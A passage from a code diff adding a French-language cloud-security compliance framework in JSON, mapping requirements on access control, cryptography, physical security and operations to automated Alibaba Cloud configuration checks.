sur la base du resultat de son appreciation des risques et du partage des responsabilites. b) Le prestataire doit reviser annuellement la politique de controle d'acces et a chaque changement majeur pouvant avoir un impact sur le service." + } + ], + "Checks": [ + "ram_policy_no_administrative_privileges", + "ram_policy_attached_only_to_group_or_roles" + ] + }, + { + "Id": "9.2", + "Description": "Un processus formel d'enregistrement et de desinscription des utilisateurs doit etre mis en oeuvre pour permettre l'attribution des droits d'acces.", + "Name": "Enregistrement et desinscription des utilisateurs", + "Attributes": [ + { + "Section": "9. Controle d'acces et gestion des identites", + "Service": "ram", + "Type": "Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure d'enregistrement et de desinscription des utilisateurs s'appuyant sur une interface de gestion des comptes et des droits d'acces. Cette procedure doit indiquer quelles donnees doivent etre supprimees au depart d'un utilisateur. b) Le prestataire doit attribuer des comptes nominatifs lors de l'enregistrement des utilisateurs places sous sa responsabilite. c) Le prestataire doit mettre en oeuvre des moyens permettant de s'assurer que la desinscription d'un utilisateur entraine la suppression de tous ses acces aux ressources du systeme d'information du service, ainsi que la suppression de ses donnees conformement a la procedure d'enregistrement et de desinscription (voir exigence 9.2 a))." + } + ], + "Checks": [ + "ram_user_console_access_unused" + ] + }, + { + "Id": "9.3", + "Description": "Un processus formel de gestion des droits d'acces doit etre mis en oeuvre pour controler l'attribution des droits d'acces a tous les types d'utilisateurs et a tous les systemes et services.", + "Name": "Gestion des droits d'acces", + "Attributes": [ + { + "Section": "9. Controle d'acces et gestion des identites", + "Service": "ram", + "Type": "Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure permettant d'assurer l'attribution, la modification et le retrait de droits d'acces aux ressources du systeme d'information du service. b) Le prestataire doit mettre a la disposition de ses commanditaires les outils et les moyens qui permettent une differenciation des roles des utilisateurs du service, par exemple suivant leur role fonctionnel. c) Le prestataire doit tenir a jour l'inventaire des utilisateurs sous sa responsabilite disposant de droits d'administration sur les ressources du systeme d'information du service. d) Le prestataire doit etre en mesure de fournir, pour une ressource donnee mettant en oeuvre le service, la liste de tous les utilisateurs y ayant acces, qu'ils soient sous la responsabilite du prestataire ou du commanditaire ainsi que les droits d'acces qui leurs ont ete attribues. e) Le prestataire doit etre en mesure de fournir, pour un utilisateur donne, qu'ils soient sous la responsabilite du prestataire ou du commanditaire, la liste de tous ses droits d'acces sur les differents elements du systeme d'information du service. f) Le prestataire doit definir une liste de droits d'acces incompatibles entre eux. Il doit s'assurer, lors de l'attribution de droits d'acces a un utilisateur qu'il ne possede pas de droits d'acces incompatibles entre eux au titre de la liste precedemment etablie. g) Le prestataire doit inclure dans la procedure de gestion des droits d'acces les actions de revocation ou de suspension des droits de tout utilisateur." + } + ], + "Checks": [ + "ram_policy_no_administrative_privileges", + "ram_policy_attached_only_to_group_or_roles", + "ram_no_root_access_key" + ] + }, + { + "Id": "9.4", + "Description": "Les proprietaires d'actifs doivent verifier les droits d'acces des utilisateurs a intervalles reguliers.", + "Name": "Revue des droits d'acces utilisateurs", + "Attributes": [ + { + "Section": "9. Controle d'acces et gestion des identites", + "Service": "ram", + "Type": "Automated", + "Comment": "a) Le prestataire doit reviser annuellement les droits d'acces des utilisateurs sur son perimetre de responsabilite. b) Le prestataire doit mettre a disposition du commanditaire un outil facilitant la revue des droits d'acces des utilisateurs places sous la responsabilite de ce dernier. c) Le prestataire doit reviser trimestriellement la liste des utilisateurs sur son perimetre de responsabilite pouvant utiliser les comptes techniques mentionnes dans l'exigence 9.2 b)." + } + ], + "Checks": [ + "ram_rotate_access_key_90_days", + "ram_user_console_access_unused" + ] + }, + { + "Id": "9.5", + "Description": "L'attribution et l'utilisation des informations secretes d'authentification doivent etre gerees dans le cadre d'un processus de gestion formel incluant une politique de mot de passe robuste et l'utilisation de l'authentification multi-facteur.", + "Name": "Gestion des authentifications des utilisateurs", + "Attributes": [ + { + "Section": "9. Controle d'acces et gestion des identites", + "Service": "ram", + "Type": "Automated", + "Comment": "a) Le prestataire doit formaliser et mettre en oeuvre des procedures de gestion de l'authentification des utilisateurs. En accord avec les exigences du chapitre 10, celles-ci doivent notamment porter sur : la gestion des moyens d'authentification (emission et reinitialisation de mot de passe, mise a jour des CRL et import des certificats racines en cas d'utilisation de certificats, etc.) ; la mise en place des moyens permettant une authentification a multiples facteurs afin de repondre aux differents cas d'usage du referentiel ; les systemes qui generent des mots de passe ou verifient leur robustesse, lorsqu'une authentification par mot de passe est utilisee. Ils doivent suivre les recommandations de [G_AUTH]. b) Tout mecanisme d'authentification doit prevoir le blocage d'un compte apres un nombre limite de tentatives infructueuses. c) Dans le cadre d'un service SaaS, le prestataire doit proposer a ses commanditaires des moyens d'authentification a multiples facteurs pour l'acces des utilisateurs finaux. d) Lorsque des comptes techniques, non nominatifs, sont necessaires, le prestataire doit mettre en place des mesures obligeant les utilisateurs a s'authentifier avec leur compte nominatif avant de pouvoir acceder a ces comptes techniques." + } + ], + "Checks": [ + "ram_password_policy_minimum_length", + "ram_password_policy_lowercase", + "ram_password_policy_uppercase", + "ram_password_policy_number", + "ram_password_policy_symbol", + "ram_password_policy_max_password_age", + "ram_password_policy_password_reuse_prevention", + "ram_password_policy_max_login_attempts", + "ram_user_mfa_enabled_console_access" + ] + }, + { + "Id": "9.6", + "Description": "L'acces aux interfaces d'administration du service cloud doit etre restreint et protege par des mecanismes d'authentification forte, incluant l'utilisation de dispositifs MFA materiels pour les comptes a privileges.", + "Name": "Acces aux interfaces d'administration", + "Attributes": [ + { + "Section": "9. Controle d'acces et gestion des identites", + "Service": "ram", + "Type": "Automated", + "Comment": "a) Les comptes d'administration sous la responsabilite du prestataire doivent etre geres a l'aide d'outils et d'annuaires distincts de ceux utilises pour la gestion des comptes utilisateurs places sous la responsabilite du commanditaire. b) Les interfaces d'administration mises a disposition des commanditaires doivent etre distinctes des interfaces d'administration utilisees par le prestataire. c) Les interfaces d'administration mises a disposition des commanditaires ne doivent permettre aucune connexion avec des comptes d'administrateurs sous la responsabilite du prestataire. d) Les interfaces d'administration utilisees par le prestataire ne doivent pas etre accessibles a partir d'un reseau public et ainsi ne doivent permettre aucune connexion des utilisateurs sous la responsabilite du commanditaire. e) Si des interfaces d'administration sont mises a disposition des commanditaires avec un acces via un reseau public, les flux d'administration doivent etre authentifies et chiffres avec des moyens en accord avec les exigences du chapitre 10.2. f) Le prestataire doit mettre en place un systeme d'authentification multifacteur fort pour l'acces : aux interfaces d'administration utilisees par le prestataire ; aux interfaces d'administration dediees aux commanditaires. g) Dans le cadre d'un service SaaS, les interfaces d'administration mises a disposition des commanditaires doivent etre differenciees des interfaces permettant l'acces des utilisateurs finaux. h) Des lors qu'une interface d'administration est accessible depuis un reseau public, le processus d'authentification doit avoir lieu avant toute interaction entre l'utilisateur et l'interface en question. i) Lorsque le prestataire utilise un service de type IaaS comme socle d'un autre type de service (CaaS, PaaS ou SaaS), les ressources affectees a l'usage du prestataire ne doivent en aucun cas etre accessibles via l'interface publique mise a disposition des autres commanditaires du service IaaS. j) Lorsque le prestataire utilise un service de type CaaS comme socle d'un autre type de service (PaaS ou SaaS), les ressources affectees a l'usage du prestataire ne doivent en aucun cas etre accessibles via l'interface publique mise a disposition des autres commanditaires du service CaaS. k) Lorsque le prestataire utilise un service de type PaaS comme socle d'un autre type de service (typiquement SaaS), les ressources affectees a l'usage du prestataire ne doivent en aucun cas etre accessibles via l'interface publique mise a disposition des autres commanditaires du service PaaS." + } + ], + "Checks": [ + "ram_no_root_access_key", + "ram_user_mfa_enabled_console_access", + "ecs_securitygroup_restrict_rdp_internet", + "ecs_securitygroup_restrict_ssh_internet" + ] + }, + { + "Id": "9.7", + "Description": "L'acces a l'information et aux fonctions d'application des systemes doit etre restreint conformement a la politique de controle d'acces. Les ressources doivent etre protegees contre tout acces public non autorise.", + "Name": "Restriction des acces a l'information", + "Attributes": [ + { + "Section": "9. Controle d'acces et gestion des identites", + "Service": "ecs", + "Type": "Automated", + "Comment": "a) Le prestataire doit mettre en oeuvre des mesures de cloisonnement appropriees entre ses commanditaires. b) Le prestataire doit mettre en oeuvre des mesures de cloisonnement appropriees entre le systeme d'information du service et ses autres systemes d'information (bureautique, informatique de gestion, gestion technique du batiment, controle d'acces physique, etc.). c) Le prestataire doit concevoir, developper, configurer et deployer le systeme d'information du service en assurant au moins un cloisonnement entre d'une part l'infrastructure technique et d'autre part les equipements necessaires a l'administration des services et des ressources qu'elle heberge. d) Dans le cadre du support technique, si les actions necessaires au diagnostic et a la resolution d'un probleme rencontre par un commanditaire necessitent un acces aux donnees du commanditaire, alors le prestataire doit : n'autoriser l'acces aux donnees du commanditaire qu'apres consentement explicite du commanditaire ; verifier que la personne a qui l'acces doit etre autorise a satisfait aux verifications de l'exigence 7.1.b ; dans le cas d'une intervention realisee a distance par une personne localisee hors de l'Union Europeenne, mettre en oeuvre une passerelle securisee (poste de rebond) par laquelle la personne devra se connecter et permettant une supervision (autorisation ou interdiction des actions, demandes d'explications, etc.) en temps reel, par une personne ayant elle-meme satisfait aux verifications de l'exigence 7.1.b ; considerer les actions menees, une fois l'acces autorise, comme des actions d'administration et les journaliser comme telles ; supprimer l'autorisation d'acces aux donnees du commanditaire au terme de ces actions." + } + ], + "Checks": [ + "ecs_securitygroup_restrict_rdp_internet", + "ecs_securitygroup_restrict_ssh_internet", + "oss_bucket_not_publicly_accessible", + "ecs_instance_no_legacy_network", + "rds_instance_no_public_access_whitelist" + ] + }, + { + "Id": "10.1", + "Description": "Les donnees stockees dans le cadre du service cloud doivent etre chiffrees au repos en utilisant des algorithmes et des longueurs de cle conformes a l'etat de l'art.", + "Name": "Chiffrement des donnees stockees", + "Attributes": [ + { + "Section": "10. Cryptologie", + "Service": "ecs", + "Type": "Automated", + "Comment": "a) Le prestataire doit definir et mettre en oeuvre un mecanisme de chiffrement empechant la recuperation des donnees des commanditaires en cas de reallocation d'une ressource ou de recuperation du support physique. Dans le cas d'un service IaaS ou CaaS, cet objectif pourra par exemple etre atteint par un chiffrement du disque ou du systeme de fichier, lorsque le protocole d'acces en mode fichiers garantit que seuls des blocs vides peuvent etre alloues, ou par un chiffrement par volume dans le cas d'un acces en mode bloc, avec au moins une cle par commanditaire. Dans le cas d'un service PaaS ou SaaS, cet objectif pourra etre atteint en utilisant un chiffrement applicatif dans le perimetre du prestataire, avec au moins une cle par commanditaire. b) Le prestataire doit utiliser une methode de chiffrement des donnees respectant les regles de [CRYPTO_B1]. c) Il est recommande d'utiliser une methode de chiffrement des donnees respectant les recommandations de [CRYPTO_B1]. d) Le prestataire doit mettre en place un chiffrement des donnees sur les supports amovibles et les supports de sauvegarde amenes a quitter le perimetre de securite physique du systeme d'information du service (au sens du chapitre 10), en fonction du besoin de securite des donnees (voir chapitre 8.3)." + } + ], + "Checks": [ + "ecs_attached_disk_encrypted", + "ecs_unattached_disk_encrypted", + "rds_instance_tde_enabled", + "rds_instance_tde_key_custom" + ] + }, + { + "Id": "10.2", + "Description": "Les flux de donnees entre les composants du service cloud et entre le service et les commanditaires doivent etre chiffres en transit en utilisant des protocoles et des algorithmes conformes a l'etat de l'art.", + "Name": "Chiffrement des flux", + "Attributes": [ + { + "Section": "10. Cryptologie", + "Service": "oss", + "Type": "Automated", + "Comment": "a) Lorsque le prestataire met en oeuvre un mecanisme de chiffrement des flux reseau, celui-ci doit respecter les regles de [CRYPTO_B1]. b) Lorsque le prestataire met en oeuvre un mecanisme de chiffrement des flux reseau, il est recommande que celui-ci respecte les recommandations de [CRYPTO_B1]. c) Si le protocole TLS est mis en oeuvre, le prestataire doit appliquer les recommandations de [NT_TLS]. d) Si le protocole IPsec est mis en oeuvre, le prestataire doit appliquer les recommandations de [NT_IPSEC]. e) Si le protocole SSH est mis en oeuvre, le prestataire doit appliquer les recommandations de [NT_SSH]." + } + ], + "Checks": [ + "oss_bucket_secure_transport_enabled", + "rds_instance_ssl_enabled" + ] + }, + { + "Id": "10.3", + "Description": "Les mots de passe doivent etre stockes sous forme hachee en utilisant des algorithmes robustes conformes a l'etat de l'art et les politiques de mot de passe doivent imposer des exigences de complexite adequates.", + "Name": "Hachage des mots de passe", + "Attributes": [ + { + "Section": "10. Cryptologie", + "Service": "ram", + "Type": "Partially Automated", + "Comment": "a) Le prestataire ne doit stocker que l'empreinte des mots de passe des utilisateurs et des comptes techniques. b) Le prestataire doit mettre en oeuvre une fonction de hachage respectant les regles de [CRYPTO_B1]. c) Il est recommande que le prestataire mette en oeuvre une fonction de hachage respectant les recommandations de [CRYPTO_B1]. d) Le prestataire doit generer les empreintes des mots de passe avec une fonction de hachage associee a l'utilisation d'un sel cryptographique respectant les regles de [CRYPTO_B1]." + } + ], + "Checks": [ + "ram_password_policy_minimum_length", + "ram_password_policy_symbol", + "ram_password_policy_number" + ] + }, + { + "Id": "10.4", + "Description": "Des mecanismes de non-repudiation doivent etre mis en oeuvre pour assurer la tracabilite des actions effectuees sur le service cloud, incluant la validation de l'integrite des journaux.", + "Name": "Non repudiation", + "Attributes": [ + { + "Section": "10. Cryptologie", + "Service": "actiontrail", + "Type": "Partially Automated", + "Comment": "a) Lorsque le prestataire met en oeuvre un mecanisme de signature electronique, celui-ci doit respecter les regles de [CRYPTO_B1]. b) Lorsque le prestataire met en oeuvre un mecanisme de signature electronique, il est recommande que celui-ci respecte les recommandations de [CRYPTO_B1]." + } + ], + "Checks": [ + "actiontrail_oss_bucket_not_publicly_accessible" + ] + }, + { + "Id": "10.5", + "Description": "Les secrets cryptographiques (cles, certificats, mots de passe) doivent etre geres de maniere securisee tout au long de leur cycle de vie, incluant la generation, le stockage, la distribution, la rotation et la destruction.", + "Name": "Gestion des secrets", + "Attributes": [ + { + "Section": "10. Cryptologie", + "Service": "ram", + "Type": "Partially Automated", + "Comment": "a) Le prestataire doit mettre en oeuvre des cles cryptographiques respectant les regles de [CRYPTO_B2]. b) Il est recommande que le prestataire mette en oeuvre des cles cryptographiques respectant les recommandations de [CRYPTO_B2]. c) Le prestataire doit proteger l'acces aux cles cryptographiques et autres secrets utilises pour le chiffrement des donnees par un moyen adapte : conteneur de securite (logiciel ou materiel) ou support disjoint. d) Le prestataire doit proteger l'acces aux cles cryptographiques et autres secrets utilises pour les taches d'administration par un conteneur de securite adapte, logiciel ou materiel." + } + ], + "Checks": [ + "sls_customer_created_cmk_changes_alert_enabled", + "ram_rotate_access_key_90_days" + ] + }, + { + "Id": "10.6", + "Description": "Les racines de confiance (certificats racine, autorites de certification) utilisees dans le cadre du service cloud doivent etre gerees de maniere securisee. Les certificats doivent etre valides et utiliser des algorithmes de cle robustes.", + "Name": "Racines de confiance", + "Attributes": [ + { + "Section": "10. Cryptologie", + "Service": "general", + "Type": "Manual", + "Comment": "a) Sur l'infrastructure technique, le prestataire doit utiliser exclusivement des certificats de cle publique issus d'une autorite de certification d'un Etat membre de l'Union Europeenne (les ceremonies de generation des cles maitresses doivent avoir lieu dans un pays membre de l'Union Europeenne et en presence du prestataire)." + } + ], + "Checks": [] + }, + { + "Id": "11.1", + "Description": "Des perimetres de securite doivent etre definis et utilises pour proteger les zones contenant des informations sensibles ou critiques et les moyens de traitement de l'information.", + "Name": "Perimetres de securite physique", + "Attributes": [ + { + "Section": "11. Securite physique et environnementale", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre des perimetres de securite, incluant le marquage des zones et les differents moyens de limitation et de controle des acces. b) Le prestataire doit distinguer des zones publiques, des zones privees et des zones sensibles. 11.1.1. Zones publiques : a) Les zones publiques sont accessibles a tous dans les limites de la propriete du prestataire. Le prestataire ne doit heberger aucune ressource devolue au service ou permettant d'acceder a des composantes de celui-ci dans les zones publiques. 11.1.2. Zones privees : a) Les zones privees peuvent heberger : les plateformes et moyens de developpement du service ; les postes d'administration, d'exploitation et de supervision ; les locaux a partir desquels le prestataire opere. 11.1.3. Zones sensibles : a) Les zones sensibles sont reservees a l'hebergement du systeme d'information de production du service hors postes d'administration, d'exploitation et de supervision." + } + ], + "Checks": [] + }, + { + "Id": "11.2", + "Description": "Les zones securisees doivent etre protegees par des controles d'acces physiques adequats pour s'assurer que seul le personnel autorise est admis.", + "Name": "Controle d'acces physique", + "Attributes": [ + { + "Section": "11. Securite physique et environnementale", + "Service": "general", + "Type": "Manual", + "Comment": "11.2.1. Zones privees : a) Le prestataire doit proteger les zones privees contre les acces non autorises. Pour ce faire, il doit mettre en oeuvre un controle d'acces physique reposant au moins sur un facteur personnel : la connaissance d'un secret, la detention d'un objet ou la biometrie. b) Il est recommande que le prestataire respecte les recommandations de [G_CVAP] pour mettre en oeuvre du controle d'acces physique. c) Le prestataire doit definir et documenter des mesures d'acces physique derogatoires en cas d'urgence. d) Le prestataire doit afficher a l'entree des zones privees un avertissement relatif aux limites et conditions d'acces a ces zones. e) Le prestataire doit definir et documenter les plages horaires et conditions d'acces aux zones privees en fonction des profils des intervenants. f) Le prestataire doit documenter et mettre en oeuvre les moyens permettant de s'assurer que les visiteurs sont systematiquement accompagnes par le prestataire lors de leurs acces et sejours en zone privee. Le prestataire doit conserver une trace de l'identite des visiteurs conformement a la legislation et reglementation en vigueur. g) En cas d'intervention (actions de diagnostic, de maintenance, ou d'administration) en zone privee par un tiers visiteur, le prestataire doit faire superviser (suivre, autoriser, interdire, questionner) les actions par un personnel ayant satisfait aux verifications de l'exigence 7.1.b. h) Le prestataire doit documenter et mettre en oeuvre des mecanismes de surveillance et de detection des acces non autorises aux zones privees. 11.2.2. Zones sensibles : a) Le prestataire doit proteger les zones sensibles contre les acces non autorises. Pour ce faire, il doit mettre en oeuvre un controle d'acces physique reposant au moins sur deux facteurs personnels : la connaissance d'un secret, la detention d'un objet ou la biometrie. b) Il est recommande que le prestataire respecte les recommandations de [G_CVAP] pour la mise en oeuvre du controle d'acces physique. c) Le prestataire doit definir et documenter des mesures d'acces physique derogatoires en cas d'urgence. d) Le prestataire doit afficher a l'entree des zones sensibles un avertissement relatif aux limites et conditions d'acces a ces zones. e) Le prestataire doit definir et documenter les plages horaires et conditions d'acces aux zones sensibles en fonction des profils des intervenants. f) Le prestataire doit documenter et mettre en oeuvre les moyens permettant de s'assurer que les visiteurs sont systematiquement accompagnes par le prestataire lors de leurs acces et sejours en zone sensible. Le prestataire doit conserver une trace de l'identite des visiteurs conformement a la legislation et reglementation en vigueur. g) En cas d'intervention (actions de diagnostic, de maintenance, ou d'administration) en zone sensible par un tiers visiteur, le prestataire doit faire superviser (suivre, autoriser, interdire, questionner) les actions par un personnel ayant satisfait aux verifications de l'exigence 7.1.b. h) Le prestataire doit documenter et mettre en oeuvre des mecanismes de surveillance et de detection des acces non autorises aux zones sensibles. i) Le prestataire doit mettre en place une journalisation des acces physiques aux zones sensibles. Il doit effectuer une revue de ces journaux au moins mensuellement. j) Le prestataire doit mettre en oeuvre les moyens garantissant qu'aucun acces direct n'existe entre une zone publique et une zone sensible." + } + ], + "Checks": [] + }, + { + "Id": "11.3", + "Description": "Des mesures de protection contre les menaces exterieures et environnementales, telles que les catastrophes naturelles, les attaques malveillantes ou les accidents, doivent etre concues et appliquees.", + "Name": "Protection contre les menaces exterieures et environnementales", + "Attributes": [ + { + "Section": "11. Securite physique et environnementale", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre les moyens permettant de minimiser les risques inherents aux sinistres physiques (incendie, degat des eaux, etc.) et naturels (risques climatiques, inondations, seismes, etc.). b) Le prestataire doit documenter et mettre en oeuvre les mesures permettant de limiter les risques de depart et de propagation de feu ainsi que les risques de degat des eaux. c) Le prestataire doit documenter et mettre en oeuvre les mesures permettant de prevenir et limiter les consequences d'une coupure d'alimentation electrique et permettre une reprise du service conformement aux exigences de disponibilite du service definies dans la convention de service. d) Le prestataire doit documenter et mettre en oeuvre les moyens permettant de maintenir des conditions de temperature et d'humidite adaptees aux equipements. De plus, il doit mettre en oeuvre des mesures permettant de prevenir les pannes de climatisation et d'en limiter les consequences. e) Le prestataire doit documenter et mettre en oeuvre des controles et tests reguliers des equipements de detection et de protection physique." + } + ], + "Checks": [] + }, + { + "Id": "11.4", + "Description": "Des mesures de securite physique pour le travail dans les zones privees et sensibles doivent etre concues et appliquees.", + "Name": "Travail dans les zones privees et sensibles", + "Attributes": [ + { + "Section": "11. Securite physique et environnementale", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit integrer les elements de securite physique dans la politique de securite et l'appreciation des risques conformement au niveau de securite requis par la categorie de la zone. b) Le prestataire doit documenter et mettre en oeuvre des procedures relatives au travail en zones privees et sensibles. Il doit communiquer ces procedures aux intervenants concernes." + } + ], + "Checks": [] + }, + { + "Id": "11.5", + "Description": "Les points d'acces tels que les zones de livraison et de chargement et les autres points par lesquels des personnes non autorisees peuvent penetrer dans les locaux doivent etre controles.", + "Name": "Zones de livraison et de chargement", + "Attributes": [ + { + "Section": "11. Securite physique et environnementale", + "Service": "general", + "Type": "Manual", + "Comment": "a) Les zones de livraison et de chargement et les autres points par lesquels des personnes non autorisees peuvent penetrer dans les locaux sans etre accompagnees sont considerees comme des zones publiques. b) Le prestataire doit isoler les points d'acces de ces zones vers les zones privees et sensibles, de facon a eviter les acces non autorises, ou a defaut, implementer des mesures compensatoires permettant d'assurer le meme niveau de securite." + } + ], + "Checks": [] + }, + { + "Id": "11.6", + "Description": "Le cablage electrique et de telecommunications transportant des donnees ou supportant des services d'information doit etre protege contre les interceptions, les interferences ou les dommages.", + "Name": "Securite du cablage", + "Attributes": [ + { + "Section": "11. Securite physique et environnementale", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre des mesures permettant de proteger le cablage electrique et de telecommunication des dommages physiques et des possibilites d'interception. b) Le prestataire doit etablir et tenir a jour un plan de cablage. c) Il est recommande que le prestataire mette en oeuvre des mesures permettant d'identifier les cables (par exemple code couleur, etiquette, etc.) afin d'en faciliter l'exploitation et limiter les erreurs de manipulation." + } + ], + "Checks": [] + }, + { + "Id": "11.7", + "Description": "Les materiels doivent etre entretenus correctement pour garantir leur disponibilite permanente et leur integrite.", + "Name": "Maintenance des materiels", + "Attributes": [ + { + "Section": "11. Securite physique et environnementale", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre des mesures permettant de s'assurer que les conditions d'installation, de maintenance et d'entretien des equipements du systeme d'information du service heberges en zones privees et sensibles sont compatibles avec les exigences de confidentialite et de disponibilite du service definies dans la convention de service. b) Le prestataire doit souscrire des contrats de maintenance permettant de disposer des mises a jour de securite des logiciels installes sur les equipements du systeme d'information du service. c) Le prestataire doit s'assurer que les supports ne peuvent etre retournes a un tiers que si les donnees du commanditaire y sont stockees chiffrees conformement au chapitre 10.1 ou ont prealablement ete detruites a l'aide d'un mecanisme d'effacement securise par reecriture de motifs aleatoires. d) Le prestataire doit documenter et mettre en oeuvre des mesures permettant de s'assurer que les conditions d'installation, de maintenance et d'entretien des equipements techniques annexes (alimentation electrique, climatisation, incendie, etc.) sont compatibles avec les exigences de disponibilite du service definies dans la convention de service." + } + ], + "Checks": [] + }, + { + "Id": "11.8", + "Description": "Les materiels, les informations ou les logiciels ne doivent pas etre sortis des locaux du prestataire sans autorisation prealable.", + "Name": "Sortie des actifs", + "Attributes": [ + { + "Section": "11. Securite physique et environnementale", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure de transfert hors site de donnees du commanditaire, equipements et logiciels. Cette procedure doit necessiter que la direction du prestataire donne son autorisation ecrite. Dans tous les cas, le prestataire doit mettre en oeuvre les moyens permettant de garantir que le niveau de protection en confidentialite et en integrite des actifs durant leur transport est equivalent a celui sur site." + } + ], + "Checks": [] + }, + { + "Id": "11.9", + "Description": "Tous les composants des equipements contenant des supports de stockage doivent etre verifies pour s'assurer que toute donnee sensible et tout logiciel sous licence ont ete supprimes ou ecrases de facon securisee avant leur mise au rebut ou leur reutilisation.", + "Name": "Recyclage securise du materiel", + "Attributes": [ + { + "Section": "11. Securite physique et environnementale", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre des moyens permettant d'effacer de maniere securisee par reecriture de motifs aleatoires tout support de donnees mis a disposition d'un commanditaire. Si l'espace de stockage est chiffre dans le cadre de l'exigence 10.1.a), l'effacement peut etre realise par un effacement securise de la cle de chiffrement." + } + ], + "Checks": [] + }, + { + "Id": "11.10", + "Description": "Le materiel en attente d'utilisation doit etre protege de maniere adequate.", + "Name": "Materiel en attente d'utilisation", + "Attributes": [ + { + "Section": "11. Securite physique et environnementale", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure de protection du materiel en attente d'utilisation." + } + ], + "Checks": [] + }, + { + "Id": "12.1", + "Description": "Les procedures d'exploitation doivent etre documentees et mises a disposition de tous les utilisateurs concernes.", + "Name": "Procedures d'exploitation documentees", + "Attributes": [ + { + "Section": "12. Securite liee a l'exploitation", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter les procedures d'exploitation, les tenir a jour et les rendre accessibles au personnel concerne." + } + ], + "Checks": [] + }, + { + "Id": "12.2", + "Description": "Les changements apportes au systeme d'information du prestataire, aux processus metier, aux moyens de traitement de l'information et aux systemes qui ont une incidence sur la securite de l'information doivent etre geres.", + "Name": "Gestion des changements", + "Attributes": [ + { + "Section": "12. Securite liee a l'exploitation", + "Service": "actiontrail", + "Type": "Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure de gestion des changements apportes aux systemes et moyens de traitement de l'information. b) Le prestataire doit documenter et mettre en oeuvre une procedure permettant, en cas d'operations realisees par le prestataire et pouvant avoir un impact sur la securite ou la disponibilite du service, de communiquer au plus tot a l'ensemble de ses commanditaires les informations suivantes : la date et l'heure programmees du debut et de la fin des operations ; la nature des operations ; les impacts sur la securite ou la disponibilite du service ; le contact au sein du prestataire. c) Dans le cadre d'un service PaaS, le prestataire doit informer au plus tot le commanditaire de toute modification a venir sur des elements logiciels sous sa responsabilite des lors que la compatibilite complete ne peut etre assuree. d) Le prestataire doit informer au plus tot le commanditaire de toute modification a venir sur les elements du service des lors qu'elle est susceptible d'occasionner une perte de fonctionnalite pour le commanditaire." + } + ], + "Checks": [ + "actiontrail_multi_region_enabled", + "sls_logstore_retention_period" + ] + }, + { + "Id": "12.3", + "Description": "Les environnements de developpement, de test et d'exploitation doivent etre separes pour reduire les risques d'acces non autorise ou de changements non souhaites dans l'environnement d'exploitation.", + "Name": "Separation des environnements de developpement, de test et d'exploitation", + "Attributes": [ + { + "Section": "12. Securite liee a l'exploitation", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre les mesures permettant de separer physiquement les environnements lies a la production du service des autres environnements, dont les environnements de developpement." + } + ], + "Checks": [] + }, + { + "Id": "12.4", + "Description": "Des mesures de detection, de prevention et de recuperation conjuguees a une sensibilisation des utilisateurs doivent etre mises en oeuvre pour proteger le systeme d'information contre les codes malveillants.", + "Name": "Mesures contre les codes malveillants", + "Attributes": [ + { + "Section": "12. Securite liee a l'exploitation", + "Service": "securitycenter", + "Type": "Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre les mesures de detection, de prevention et de restauration pour se proteger des codes malveillants. Le perimetre d'application de cette exigence sur le systeme d'information du service doit necessairement contenir les postes utilisateurs sous la responsabilite du prestataire et les flux entrants sur ce meme systeme d'information. b) Le prestataire doit documenter et mettre en oeuvre une sensibilisation de ses employes aux risques lies aux codes malveillants et aux bonnes pratiques pour reduire l'impact d'une infection." + } + ], + "Checks": [ + "securitycenter_advanced_or_enterprise_edition", + "securitycenter_all_assets_agent_installed", + "securitycenter_vulnerability_scan_enabled", + "securitycenter_notification_enabled_high_risk", + "ecs_instance_endpoint_protection_installed" + ] + }, + { + "Id": "12.5", + "Description": "Des copies de sauvegarde des informations, des logiciels et des images systeme doivent etre effectuees et testees regulierement conformement a une politique de sauvegarde convenue.", + "Name": "Sauvegarde des informations", + "Attributes": [ + { + "Section": "12. Securite liee a l'exploitation", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une politique de sauvegarde et de restauration des donnees sous sa responsabilite dans le cadre du service. Cette politique doit prevoir une sauvegarde quotidienne de l'ensemble des donnees (informations, logiciels, configurations, etc.) sous la responsabilite du prestataire dans le cadre du service. b) Le prestataire doit documenter et mettre en oeuvre des mesures de protection des sauvegardes conformement a la politique de controle d'acces (voir chapitre 9). Cette politique doit prevoir une revue mensuelle des traces d'acces aux sauvegardes. c) Le prestataire doit documenter et mettre en oeuvre une procedure permettant de tester regulierement la restauration des sauvegardes. d) Le prestataire doit localiser les sauvegardes a une distance suffisante des equipements principaux en coherence avec les resultats de l'appreciation de risques et permettant de faire face a des sinistres majeurs. Les sauvegardes sont assujetties aux memes exigences de localisation que les donnees operationnelles. Le ou les sites de sauvegarde sont assujettis aux memes exigences de securite que le site principal, en particulier celles listees aux chapitres 8 et 11. Les communications entre site principal et site de sauvegarde doivent etre protegees par chiffrement, conformement aux exigences du chapitre 10." + } + ], + "Checks": [] + }, + { + "Id": "12.6", + "Description": "Des journaux d'evenements enregistrant les activites des utilisateurs, les exceptions, les defaillances et les evenements de securite de l'information doivent etre crees, tenus a jour et regulierement revus.", + "Name": "Journalisation des evenements", + "Attributes": [ + { + "Section": "12. Securite liee a l'exploitation", + "Service": "actiontrail", + "Type": "Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une politique de journalisation incluant au minimum les elements suivants : la liste des sources de collecte ; la liste des evenements a journaliser par source ; l'objet de la journalisation par evenement ; la frequence de la collecte et base de temps utilisee ; la duree de retention locale et centralisee ; les mesures de protection des journaux (dont 